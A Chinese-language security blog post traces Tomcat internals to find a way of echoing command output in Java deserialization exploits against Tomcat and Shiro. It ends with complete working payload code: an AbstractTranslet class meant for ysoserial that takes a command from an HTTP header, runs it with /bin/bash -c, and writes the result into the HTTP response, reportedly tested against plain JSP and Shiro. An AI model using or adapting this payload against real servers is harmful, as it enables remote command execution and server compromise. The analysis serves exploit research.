Tomcat通用回顯學習
最近兩個月都在寫通用的Java漏洞利用框架沒怎麼跟進最新的技術文章,現在項目終於到了一個較爲穩定的階段終於有時間可以學習一下這兩個月中的技術文章了。給我印象比較深刻的是 LandGrey
、 李三
、 kingkk
、 Litch1
、 threedr3am
幾位師傅對於Tomcat通用回顯方式的總結。最開始我沒看幾位師傅的文章自己調了一下,找到了 Litch1
、和 李三
師傅的回顯思路,本篇主要用於記錄個人的調試學習過程。
0x01 思考
在尋找解決方案前來思考一下具體的需求是什麼,我個人的需求如下:
Shiro
以中間件爲依託完成回顯功能的優勢是:
- 跨平臺通用
- 原生支持性好,不會出現連接中斷的現象
綜上,可以看到我們需要一種在Tomcat Filter處理邏輯之前就將執行結果寫入返回包的回顯方式。
簡單的寫一個 servlet
,看一下Tomcat的調用棧。這裏我調試的Tomcat版本爲 8.5.47
,不同的Tomcat版本處理邏輯相同,但是其中的部分數據結構有所改變。
爲了保證類似 Shiro
這裏 Filter
應用也可以完成回顯,就需要在Tomcat執行該 Filter
之前將執行結果寫入 response
中。所以核心的切入點就是跟蹤 Http11Processor
的前後處理邏輯,嘗試獲取本次請求,並將結果寫入返回包中。
0x02 尋找利用鏈
尋找利用鏈主要分爲兩步,獲取本次請求、獲取返回包。
2.1 獲取返回包
首先查看 Http11Processor
處的邏輯:
主要是調用對應的適配器,並將 request
和 response
作爲參數傳入 service()
方法中。通過這一部分代碼可以得出兩點結論:
-
request
和response
對象是在此之前就完成初始化的。 -
此處使用了適配器模式,證明有多個
Processor
的執行邏輯是相同的。同時適配器的初始化也是在此前完成的,而適配器的初始化過程中必定存在將本次連接內容保存下來的屬性。
向上跟蹤一下 request
和 response
對象,發現是在 AbstractProcessor
抽象類的一個屬性,且在構造函數中完成初始化:
而 Http11Processor
繼承於 AbstractProcessor
,具體的繼承樹爲:
在 Http11Processor
的構造方法中調用了父類的構造方法,完成 request
和 response
對象的初始化:
ok,目前我們已經知道 request
和 response
對象在什麼地方完成的初始化,同時也知道了 request
對象中包含 response
對象,也就是說我們後面只需要關心如何獲取 request
對象即可。接下來看一下是否有相關的方法可以調用到 request
這個 protected
對象:
在 AbstractProcessor
抽象類中提供了 getRequest()
方法來獲取 request
對象,同時在 Request
類中也存在相應的方法獲取到 Response
對象:
如果想要將執行結果寫入返回包的包體中,調用 Response.doWrite()
方法即可,如果想要寫到返回包包頭中,調用 Response.setHeader()
方法即可。
總結一下,目前我們找了獲取返回包並寫入內容的調用鏈:
Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
2.2 獲取Processor對象
在2.1中我們已經完成了回顯的後半部分即獲取 Response
,並將內容寫入的部分,但是如果想要利用這個調用鏈,我們就必須繼續向上跟蹤,找到符合本次請求的 Http11Processor
對象。
想要尋找本次請求的 Http11Processor
對象,就需要從 Processor
對象的初始化看起,具體的初始化代碼在 ConnectionHandler#process
中:
connnections
對象是 ConnectionHandler
中定義的一個Map,用於存放 socket-processor
對象。在這段代碼中可以清楚的看到,首次訪問時 connections
中並不存在 processor
,所以會觸發 Processor
的初始化流程及註冊操作。跟進 register()
方法,查看Tomcat是如何完成 Processor
註冊的。
這段代碼有個非常有意思的地方,我們可以注意到 register()
方法的關鍵就是將 RequestInfo
進行註冊,但是在註冊前會調用 rp.setGlobalProcessor(global);
我們來具體看一下 global
是什麼:
可以看到 RequestGroupInfo
類中存在 RequestInfo
的一個列表,在 RequestInfo
的 setGlobalProcessor()
方法中又將 RequestInfo
對象本身註冊到 RequestGroupInfo
中:
所以 global
中所保存的內容和後面調用 Registry.registerComponent()
方法相同。也就是說有兩種思路獲取 Processor
對象:
-
尋找獲取
global
的方法 -
跟蹤
Registry.registerComponent()
流程,查看具體的RequestInfo
對象被註冊到什麼地方了
兩種方法對應了 Litch1
和 李三
師傅的兩種獲取方式。
2.2.1 獲取 global
想要獲取 global
就需要獲取到 AbstractProtocol
, AbstractProtocol
實現了 ProtocolHandler
,也就是說只要能找到獲取 ProtocolHandler
實現類的方法就可以調用 AbstractProtocol
的 ConnectionHandler
靜態類。依賴樹如下:
所以調用鏈就變成了:
AbstractProtocol$ConnectionHandler -> global -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
到此爲止我們已經找到大半部分的調用鏈了,那如何找到獲取 ProtocolHandler
的方法呢?這需要向下看,看具體調用時是如何觸發的。Tomcat使用了 Coyote
框架來封裝底層的socket連接數據,在 Coyote
框架中包含了核心類 ProtocolHandler
,主要用於接收 socket
對象,再交給對應協議的 Processor
類,最後由 Processor
類交給實現了 Adapter
接口的容器。
在調用棧中也可以看出這一流程:
這裏直接跟進一下 CoyoteAdapter#service
:
這裏主要負責將 org.apache.coyote.Request
和 org.apache.coyote.Response
轉換爲 org.apache.catalina.connector.Request
和 org.apache.catalina.connector.Response
,如果還未註冊爲notes,則調用 connector
的 createRequest()
和 createResponse()
方法創建對應的 Request
和 Response
對象。
而關鍵的調用爲:
可以簡單的理解一下: CoyoteAdapter
通過 connector
對象來完成後續流程的,也就是說在 connector
對象中保存着和本次請求有關的所有信息,較爲準確的說法是在Tomcat初始化 StandardService
時,會啓動 Container
、 Executor
、 mapperListener
及所有的 Connector
。其中 Executor
負責爲 Connector
處理請求提供共用的線程池, mapperListener
負責將請求映射到對應的容器中, Connector
負責接收和解析請求。所以對於單個請求來說,其相關的信息及調用關係都保存在 Connector
對象中,從上面的代碼中也可以看出一些端倪。所以直接看一下 Connection
類:
其中有public方法 getProtocolHandler()
可以直接獲得 ProtocolHandler
。所以調用鏈就變成了:
Connector#getProtocolHandler() -> AbstractProtocol$ConnectionHandler -> global -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
就如上文所說, Connector
是在Tomcat初始化 StandardService
時完成初始化的,初始化的具體代碼在 org.apache.catalina.core.StandardService#initInternal
:
而在初始化 StandardService
之前就已經調用 org.apache.catalina.startup.Tomcat#setConnector
完成 Connector
設置了:
所以再次梳理一下調用鏈:
StandardService -> Connector#getProtocolHandler() -> AbstractProtocol$ConnectionHandler -> global -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
最終的問題就是如何獲得 StandardService
了,這裏可以利用打破雙親委派的思路,這一點在我寫Java攻擊框架時用過,就是利用 Thread.getCurrentThread().getContextClassLoader()
來獲取當前線程的 ClassLoader
,從 resources
當中尋找即可。
具體的利用代碼這裏就不再贅述了,可以直接看 Litch1師傅分享出的代碼 。
2.2.2 從Registry中獲取
其實回顧一下2.2.1中所提到的內容,無非是從 Connector
入手拿到 ProtocolHandler
。其實再仔細看一下 Connector
類的依賴樹就可以發現其實所有的參數並非是單獨存放在這些類中的一個屬性中的,而是都被註冊到了 MBeanServer
中的:
所以其實更加通用的方式就是直接通過 MBeanServer
來獲得這個參數。
我們在2.2中看到了 ConnectionHandler
是用 Registry.getRegistry(null, null).registerComponent(rp,rpName, null);
將 RequestInfo
註冊到 MBeanServer
中的,那麼我們跟進看一下 Registry
類中有什麼方法可以供我們獲得 MBeanServer
,只要拿到了 MBeanServer
,就可以從其中拿到被註冊的 RequestInfo
對象了。
Registry
類中提供了 getMBeanServer()
方法用於獲得(或創建) MBeanServer
。在 JmxMBeanServer
中,其 mbsInterceptor
對象存放着對應的 MBeanServer
實例,這個 mbsInterceptor
對象經過動態調試就是 com.sun.jmx.interceptor.DefaultMBeanServerInterceptor
。在 DefaultMBeanServerInterceptor
存在一個 Repository
屬性由於將註冊的MBean進行保存,我們這裏可以直接使用 com.sun.jmx.mbeanserver.Repository#query
方法來篩選出所有註冊名(其實就是具體的每次請求)包含 http-nio-*
(*爲具體的tomcat端口號)的 BaseModelMBean
對象:
這裏由於測試的關係只存在一個對象,在具體構造時可以直接遍歷所有符合條件的情況。其中 object.resource.processors
中就保存着請求的 RequestInfo
對象,至此就可以通過 RequestInfo
對象的 req
屬性來得到請求的 Response
對象,完成回顯。
總結一下調用鏈:
Registry.getRegistry(null, null).getMBeanServer() -> JmxMBeanServer.mbsInterceptor -> DefaultMBeanServerInterceptor.repository -> Registory#query -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()
0x03 利用
具體的調用邏輯在2.2.1和2.2.2中都有總結,總體來說就是用反射一點點完成構造,這裏我只羅列2.2.2中的方法,因爲2.2.2的方法更爲通用,可以經測試在Tomcat7、8、9中都可以使用。需要注意有以下幾點:
-
Tomcat7及低版本Tomcat8(具體版本沒有測試,實驗用版本爲8.5.9)中,在最終將結果寫入Response時需要使用
ByteChunk
而非ByteBuffer
-
Tomcat9及高版本Tomcat8(試驗用版本爲8.5.47)只能使用
ByteBuffer
最終的利用代碼如下:
package com.lucifaer.tomcatEcho; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.coyote.Request; import org.apache.tomcat.util.modeler.Registry; import javax.management.MBeanServer; import javax.management.ObjectName; import java.io.InputStream; import java.lang.reflect.Field; import java.nio.ByteBuffer; import java.util.*; /** * @author Lucifaer * @version 4.1 */ public class Tomcat8 extends AbstractTranslet { public Tomcat8() { try { MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer(); Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object mbsInterceptor = field.get(mBeanServer); field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); Repository repository = (Repository) field.get(mbsInterceptor); Set<NamedObject> set = repository.query(new ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null); Iterator<NamedObject> it = set.iterator(); while (it.hasNext()) { NamedObject namedObject = it.next(); field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("name"); field.setAccessible(true); ObjectName flag = (ObjectName) field.get(namedObject); String canonicalName = flag.getCanonicalName(); field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); field.setAccessible(true); Object obj = field.get(namedObject); field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); Object resource = field.get(obj); field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); field.setAccessible(true); ArrayList processors = (ArrayList) field.get(resource); field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); field.setAccessible(true); for (int i=0; i < processors.size(); i++) { Request request = (Request) field.get(processors.get(i)); String header = request.getHeader("lucifaer"); System.out.println("cmds is:" + header); System.out.println(header == null); if (header != null && !header.equals("")) { String[] cmds = new String[] {"/bin/bash", "-c", header}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String out = ""; while (s.hasNext()) { out += s.next(); } byte[] buf = out.getBytes(); if (canonicalName.contains("nio")) { ByteBuffer byteBuffer = ByteBuffer.wrap(buf); // request.getResponse().setHeader("echo", out); request.getResponse().doWrite(byteBuffer); request.getResponse().getBytesWritten(true); } else if (canonicalName.contains("bio")) { //tomcat 7使用需要使用ByteChunk來將byte寫入 // ByteChunk byteChunk = new ByteChunk(); // byteChunk.setBytes(buf, 0, buf.length); // request.getResponse().doWrite(byteChunk); // request.getResponse().getBytesWritten(true); } } } } }catch (Throwable throwable) { throwable.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
具體如何將其加入Ysoserial,可以參考
李三
師傅的方式
。
利用效果如下:
測試普通JSP
測試shiro